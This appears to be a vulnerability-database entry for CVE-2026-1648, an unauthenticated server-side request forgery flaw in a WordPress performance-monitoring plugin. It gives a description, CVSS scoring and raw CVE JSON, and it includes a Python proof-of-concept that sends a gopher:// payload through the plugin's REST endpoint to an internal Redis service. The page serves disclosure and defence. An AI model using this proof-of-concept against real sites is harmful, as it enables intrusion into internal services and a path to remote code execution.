Security Vulnerability Report
中文
CVE-2026-1648 CVSS 7.2 HIGH

CVE-2026-1648

Published: 2026-03-21 04:16:54
Last Modified: 2026-04-22 21:32:08

Description

The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Performance Monitor <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: WordPress Performance Monitor < 1.0.6 - SSRF (RCE via Redis) # Description: PoC to demonstrate SSRF targeting internal Redis via Gopher import requests import urllib.parse target_url = "http://example.com" endpoint = "/wp-json/performance-monitor/v1/curl_data" # Constructing a simple Redis command to save a string (conceptual) protocol = "gopher" ip = "127.0.0.1" port = "6379" cmd = "PING" # Format: gopher://host:port/_<payload> payload = cmd # URL encoding is crucial for the payload to be passed correctly ssrf_url = f"{protocol}://{ip}:{port}/_" + urllib.parse.quote(payload) data = { "url": ssrf_url } try: response = requests.post(target_url + endpoint, data=data) print(f"Request sent to {target_url}{endpoint}") print(f"Payload URL: {ssrf_url}") print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text[:200]}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1648", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:54.310", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis."}, {"lang": "es", "value": "El plugin Performance Monitor para WordPress es vulnerable a la Falsificación de Petición del Lado del Servidor en todas las versiones hasta la 1.0.6, inclusive. Esto se debe a la validación insuficiente del parámetro 'url' en el endpoint de la API REST '/wp-json/performance-monitor/v1/curl_data'. Esto hace posible que atacantes no autenticados realicen peticiones web a ubicaciones arbitrarias, incluyendo servicios internos, a través del protocolo Gopher y otros protocolos peligrosos. Esto puede ser explotado para lograr la Ejecución Remota de Código encadenando con servicios como Redis."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/assetnote/blind-ssrf-chains", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/admin/class-curl.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/includes/class-rest-callback.php#L168", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8f42f17-bce2-421e-9031-bfa0f8c26b2a?source=cve", "source": "[email protected]"}, {"url": "https://github.com/assetnote/blind-ssrf-chains", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}